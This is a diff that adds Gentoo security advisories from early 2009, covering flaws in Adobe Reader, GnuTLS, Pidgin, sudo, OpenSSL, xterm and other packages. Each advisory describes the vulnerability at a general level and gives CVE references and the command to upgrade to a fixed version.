diff --git a/xml/htdocs/security/en/glsa/glsa-200901-09.xml b/xml/htdocs/security/en/glsa/glsa-200901-09.xml
new file mode 100644
index 00000000..849447f2
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200901-09.xml
@@ -0,0 +1,106 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200901-09">
+  <title>Adobe Reader: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    Adobe Reader is vulnerable to execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">acroread</product>
+  <announced>January 13, 2009</announced>
+  <revised>January 13, 2009: 01</revised>
+  <bug>225483</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/acroread" auto="yes" arch="*">
+      <unaffected range="ge">8.1.3</unaffected>
+      <vulnerable range="lt">8.1.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Adobe Reader (formerly Adobe Acrobat Reader) is a closed-source PDF
+    reader.
+    </p>
+  </background>
+  <description>
+    <ul>
+    <li>
+    An unspecified vulnerability can be triggered by a malformed PDF
+    document, as demonstrated by 2008-HI2.pdf (CVE-2008-2549).
+    </li>
+    <li>
+    Peter Vreugdenhil, Dyon Balding, Will Dormann, Damian Frizza, and Greg
+    MacManus reported a stack-based buffer overflow in the util.printf
+    JavaScript function that incorrectly handles the format string argument
+    (CVE-2008-2992).
+    </li>
+    <li>
+    Greg MacManus of iDefense Labs reported an array index error that can
+    be leveraged for an out-of-bounds write, related to parsing of Type 1
+    fonts (CVE-2008-4812).
+    </li>
+    <li>
+    Javier Vicente Vallejo and Peter Vregdenhil, via Zero Day Initiative,
+    reported multiple unspecified memory corruption vulnerabilities
+    (CVE-2008-4813).
+    </li>
+    <li>
+    Thomas Garnier of SkyRecon Systems reported an unspecified
+    vulnerability in a JavaScript method, related to an "input validation
+    issue" (CVE-2008-4814).
+    </li>
+    <li>
+    Josh Bressers of Red Hat reported an untrusted search path
+    vulnerability (CVE-2008-4815).
+    </li>
+    <li>
+    Peter Vreugdenhil reported through iDefense that the Download Manager
+    can trigger a heap corruption via calls to the AcroJS function
+    (CVE-2008-4817).
+    </li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted PDF
+    document, and local attackers could entice a user to run acroread from
+    an untrusted working directory. Both might result in the execution of
+    arbitrary code with the privileges of the user running the application,
+    or a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Adobe Reader users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/acroread-8.1.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2549">CVE-2008-2549</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2992">CVE-2008-2992</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4812">CVE-2008-4812</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4813">CVE-2008-4813</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4814">CVE-2008-4814</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4815">CVE-2008-4815</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4817">CVE-2008-4817</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 26 Nov 2008 18:53:29 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 26 Nov 2008 20:51:39 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 26 Nov 2008 20:51:48 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200901-10.xml b/xml/htdocs/security/en/glsa/glsa-200901-10.xml
new file mode 100644
index 00000000..7d55910a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200901-10.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200901-10">
+  <title>GnuTLS: Certificate validation error</title>
+  <synopsis>
+    A certificate validation error in GnuTLS might allow for spoofing attacks.
+  </synopsis>
+  <product type="ebuild">gnutls</product>
+  <announced>January 14, 2009</announced>
+  <revised>January 14, 2009: 01</revised>
+  <bug>245850</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-libs/gnutls" auto="yes" arch="*">
+      <unaffected range="ge">2.4.1-r2</unaffected>
+      <vulnerable range="lt">2.4.1-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GnuTLS is an open-source implementation of TLS 1.0 and SSL 3.0.
+    </p>
+  </background>
+  <description>
+    <p>
+    Martin von Gagern reported that the _gnutls_x509_verify_certificate()
+    function in lib/x509/verify.c trusts certificate chains in which the
+    last certificate is an arbitrary trusted, self-signed certificate.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit this vulnerability and spoof arbitrary
+    names to conduct Man-In-The-Middle attacks and intercept sensitive
+    information.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GnuTLS users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-libs/gnutls-2.4.1-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4989">CVE-2008-4989</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 30 Nov 2008 19:06:26 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 10 Jan 2009 23:37:58 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 10 Jan 2009 23:38:09 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200901-11.xml b/xml/htdocs/security/en/glsa/glsa-200901-11.xml
new file mode 100644
index 00000000..ff9bcbcf
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200901-11.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200901-11">
+  <title>Avahi: Denial of Service</title>
+  <synopsis>
+    A Denial of Service vulnerability has been discovered in Avahi.
+  </synopsis>
+  <product type="ebuild">avahi</product>
+  <announced>January 14, 2009</announced>
+  <revised>January 14, 2009: 01</revised>
+  <bug>250913</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-dns/avahi" auto="yes" arch="*">
+      <unaffected range="ge">0.6.24</unaffected>
+      <vulnerable range="lt">0.6.24</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Avahi is a system that facilitates service discovery on a local
+    network.
+    </p>
+  </background>
+  <description>
+    <p>
+    Hugo Dias reported a failed assertion in the
+    originates_from_local_legacy_unicast_socket() function in
+    avahi-core/server.c when processing mDNS packets with a source port of
+    0.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could send specially crafted packets to the daemon,
+    leading to its crash.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Avahi users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-dns/avahi-0.6.24&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5081">CVE-2008-5081</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 11 Jan 2009 18:41:03 +0000">
+    craig
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 12 Jan 2009 22:42:38 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 12 Jan 2009 22:42:49 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200901-12.xml b/xml/htdocs/security/en/glsa/glsa-200901-12.xml
new file mode 100644
index 00000000..ab87f86d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200901-12.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200901-12">
+  <title>noip-updater: Execution of arbitrary code</title>
+  <synopsis>
+    A buffer overflow in noip-updater can lead to arbitrary code execution.
+  </synopsis>
+  <product type="ebuild">noip-updater</product>
+  <announced>January 18, 2009</announced>
+  <revised>January 18, 2009: 01</revised>
+  <bug>248709</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-dns/noip-updater" auto="yes" arch="*">
+      <unaffected range="ge">2.1.9</unaffected>
+      <vulnerable range="lt">2.1.9</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    noip-updater is a tool used for updating IP addresses of dynamic DNS
+    records at no-ip.com.
+    </p>
+  </background>
+  <description>
+    <p>
+    xenomuta found out that the GetNextLine() function in noip2.c misses a
+    length check, leading to a stack-based buffer overflow.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could exploit this vulnerability to execute arbitrary
+    code by sending a specially crafted HTTP message to the client. NOTE:
+    Successful exploitation requires a man in the middle attack, a DNS
+    spoofing attack or a compromise of no-ip.com servers.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All noip-updater users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-dns/noip-updater-2.1.9&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5297">CVE-2008-5297</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 29 Dec 2008 20:15:03 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 02 Jan 2009 11:49:22 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 11 Jan 2009 18:28:39 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200901-13.xml b/xml/htdocs/security/en/glsa/glsa-200901-13.xml
new file mode 100644
index 00000000..0debc868
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200901-13.xml
@@ -0,0 +1,95 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200901-13">
+  <title>Pidgin: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in Pidgin, allowing for
+    remote arbitrary code execution, Denial of Service and service spoofing.
+  </synopsis>
+  <product type="ebuild">pidgin</product>
+  <announced>January 20, 2009</announced>
+  <revised>January 20, 2009: 01</revised>
+  <bug>230045</bug>
+  <bug>234135</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-im/pidgin" auto="yes" arch="*">
+      <unaffected range="ge">2.5.1</unaffected>
+      <vulnerable range="lt">2.5.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Pidgin (formerly Gaim) is an instant messaging client for a variety of
+    instant messaging protocols. It is based on the libpurple instant
+    messaging library.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been discovered in Pidgin and the
+    libpurple library:
+    </p>
+    <ul><li>
+    A participant to the TippingPoint ZDI reported multiple integer
+    overflows in the msn_slplink_process_msg() function in the MSN protocol
+    implementation (CVE-2008-2927).
+    </li>
+    <li>
+    Juan Pablo Lopez Yacubian is credited for reporting a use-after-free
+    flaw in msn_slplink_process_msg() in the MSN protocol implementation
+    (CVE-2008-2955).
+    </li>
+    <li>
+    The included UPnP server does not limit the size of data to be
+    downloaded for UPnP service discovery, according to a report by Andrew
+    Hunt and Christian Grothoff (CVE-2008-2957).
+    </li>
+    <li>
+    Josh Triplett discovered that the NSS plugin for libpurple does not
+    properly verify SSL certificates (CVE-2008-3532).
+    </li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could send specially crafted messages or files using
+    the MSN protocol which could result in the execution of arbitrary code
+    or crash Pidgin. NOTE: Successful exploitation might require the
+    victim's interaction. Furthermore, an attacker could conduct
+    man-in-the-middle attacks to obtain sensitive information using bad
+    certificates and cause memory and disk resources to exhaust.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Pidgin users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-im/pidgin-2.5.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2927">CVE-2008-2927</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2955">CVE-2008-2955</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2957">CVE-2008-2957</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3532">CVE-2008-3532</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 06 Jul 2008 18:20:14 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 29 Nov 2008 14:01:14 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 02 Dec 2008 14:32:53 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200901-14.xml b/xml/htdocs/security/en/glsa/glsa-200901-14.xml
new file mode 100644
index 00000000..9660443d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200901-14.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200901-14">
+  <title>Scilab: Insecure temporary file usage</title>
+  <synopsis>
+    An insecure temporary file usage has been reported in Scilab, allowing for
+    symlink attacks.
+  </synopsis>
+  <product type="ebuild">scilab</product>
+  <announced>January 21, 2009</announced>
+  <revised>January 21, 2009: 01</revised>
+  <bug>245922</bug>
+  <access>local</access>
+  <affected>
+    <package name="sci-mathematics/scilab" auto="yes" arch="*">
+      <unaffected range="ge">4.1.2-r1</unaffected>
+      <vulnerable range="lt">4.1.2-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Scilab is a scientific software package for numerical computations.
+    </p>
+  </background>
+  <description>
+    <p>
+    Dmitry E. Oboukhov reported an insecure temporary file usage within the
+    scilink, scidoc and scidem scripts.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could perform symlink attacks to overwrite arbitrary
+    files with the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Scilab users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sci-mathematics/scilab-4.1.2-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4983">CVE-2008-4983</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 13 Jan 2009 17:29:36 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 13 Jan 2009 18:21:32 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 13 Jan 2009 18:21:45 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200901-15.xml b/xml/htdocs/security/en/glsa/glsa-200901-15.xml
new file mode 100644
index 00000000..394a657f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200901-15.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200901-15">
+  <title>Net-SNMP: Denial of Service</title>
+  <synopsis>
+    A vulnerability in Net-SNMP could lead to a Denial of Service.
+  </synopsis>
+  <product type="ebuild">net-snmp</product>
+  <announced>January 21, 2009</announced>
+  <revised>January 21, 2009: 01</revised>
+  <bug>245306</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/net-snmp" auto="yes" arch="*">
+      <unaffected range="ge">5.4.2.1</unaffected>
+      <vulnerable range="lt">5.4.2.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Net-SNMP is a collection of tools for generating and retrieving SNMP
+    data.
+    </p>
+  </background>
+  <description>
+    <p>
+    Oscar Mira-Sanchez reported an integer overflow in the
+    netsnmp_create_subtree_cache() function in agent/snmp_agent.c when
+    processing GETBULK requests.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could send a specially crafted request to crash the
+    SNMP server. NOTE: The attacker needs to know the community string to
+    exploit this vulnerability.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Restrict access to trusted entities only.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Net-SNMP users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/net-snmp-5.4.2.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4309">CVE-2008-4309</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 11 Jan 2009 17:57:13 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 12 Jan 2009 22:12:01 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 12 Jan 2009 22:12:09 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200902-01.xml b/xml/htdocs/security/en/glsa/glsa-200902-01.xml
new file mode 100644
index 00000000..19c3d56f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200902-01.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200902-01">
+  <title>sudo: Privilege escalation</title>
+  <synopsis>
+    A vulnerability in sudo may allow for privilege escalation.
+  </synopsis>
+  <product type="ebuild">sudo</product>
+  <announced>February 06, 2009</announced>
+  <revised>February 06, 2009: 01</revised>
+  <bug>256633</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-admin/sudo" auto="yes" arch="*">
+      <unaffected range="ge">1.7.0</unaffected>
+      <vulnerable range="lt">1.7.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    sudo allows a system administrator to give users the ability to run
+    commands as other users.
+    </p>
+  </background>
+  <description>
+    <p>
+    Harald Koenig discovered that sudo incorrectly handles group
+    specifications in Runas_Alias (and related) entries when a group is
+    specified in the list (using %group syntax, to allow a user to run
+    commands as any member of that group) and the user is already a member
+    of that group.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A local attacker could possibly run commands as an arbitrary system
+    user (including root).
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All sudo users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-admin/sudo-1.7.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0034">CVE-2009-0034</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 02 Feb 2009 22:59:48 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 02 Feb 2009 23:20:12 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 06 Feb 2009 22:19:55 +0000">
+    keytoaster
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200902-02.xml b/xml/htdocs/security/en/glsa/glsa-200902-02.xml
new file mode 100644
index 00000000..9b51c8ef
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200902-02.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200902-02">
+  <title>OpenSSL: Certificate validation error</title>
+  <synopsis>
+    An error in the OpenSSL certificate chain validation might allow for
+    spoofing attacks.
+  </synopsis>
+  <product type="ebuild">openssl</product>
+  <announced>February 12, 2009</announced>
+  <revised>February 12, 2009: 01</revised>
+  <bug>251346</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-libs/openssl" auto="yes" arch="*">
+      <unaffected range="ge">0.9.8j</unaffected>
+      <vulnerable range="lt">0.9.8j</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenSSL is an Open Source toolkit implementing the Secure Sockets Layer
+    (SSL v2/v3) and Transport Layer Security (TLS v1) as well as a general
+    purpose cryptography library.
+    </p>
+  </background>
+  <description>
+    <p>
+    The Google Security Team reported that several functions incorrectly
+    check the result after calling the EVP_VerifyFinal() function, allowing
+    a malformed signature to be treated as a good signature rather than as
+    an error. This issue affects the signature checks on DSA and ECDSA keys
+    used with SSL/TLS.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit this vulnerability and spoof arbitrary
+    names to conduct Man-In-The-Middle attacks and intercept sensitive
+    information.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OpenSSL users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/openssl-0.9.8j&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5077">CVE-2008-5077</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 13 Jan 2009 17:07:15 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 13 Jan 2009 17:07:33 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 13 Jan 2009 17:14:56 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200902-03.xml b/xml/htdocs/security/en/glsa/glsa-200902-03.xml
new file mode 100644
index 00000000..4567cfcd
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200902-03.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200902-03">
+  <title>Valgrind: Untrusted search path</title>
+  <synopsis>
+    An untrusted search path vulnerability in Valgrind might result in the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">valgrind</product>
+  <announced>February 12, 2009</announced>
+  <revised>February 12, 2009: 01</revised>
+  <bug>245317</bug>
+  <access>local</access>
+  <affected>
+    <package name="dev-util/valgrind" auto="yes" arch="*">
+      <unaffected range="ge">3.4.0</unaffected>
+      <vulnerable range="lt">3.4.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Valgrind is an open-source memory debugger.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy reported that Valgrind loads a .valgrindrc file in the
+    current working directory, executing commands specified there.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A local attacker could prepare a specially crafted .valgrindrc file and
+    entice a user to run Valgrind from the directory containing that file,
+    resulting in the execution of arbitrary code with the privileges of the
+    user running Valgrind.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Do not run "valgrind" from untrusted working directories.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Valgrind users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-util/valgrind-3.4.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4865">CVE-2008-4865</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 13 Jan 2009 17:33:22 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 13 Jan 2009 17:46:15 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 13 Jan 2009 17:47:39 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200902-04.xml b/xml/htdocs/security/en/glsa/glsa-200902-04.xml
new file mode 100644
index 00000000..4b2a2f13
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200902-04.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200902-04">
+  <title>xterm: User-assisted arbitrary commands execution</title>
+  <synopsis>
+    An error in the processing of special sequences in xterm may lead to
+    arbitrary commands execution.
+  </synopsis>
+  <product type="ebuild">xterm</product>
+  <announced>February 12, 2009</announced>
+  <revised>February 12, 2009: 01</revised>
+  <bug>253155</bug>
+  <access>remote</access>
+  <affected>
+    <package name="x11-terms/xterm" auto="yes" arch="*">
+      <unaffected range="ge">239</unaffected>
+      <vulnerable range="lt">239</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    xterm is a terminal emulator for the X Window system.
+    </p>
+  </background>
+  <description>
+    <p>
+    Paul Szabo reported an insufficient input sanitization when processing
+    Device Control Request Status String (DECRQSS) sequences.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to display a file containing
+    specially crafted DECRQSS sequences, possibly resulting in the remote
+    execution of arbitrary commands with the privileges of the user viewing
+    the file.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All xterm users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-terms/xterm-239&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2383">CVE-2008-2383</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 28 Jan 2009 00:33:40 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 10 Feb 2009 10:22:45 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 10 Feb 2009 10:22:57 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200902-05.xml b/xml/htdocs/security/en/glsa/glsa-200902-05.xml
new file mode 100644
index 00000000..5b6218ce
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200902-05.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
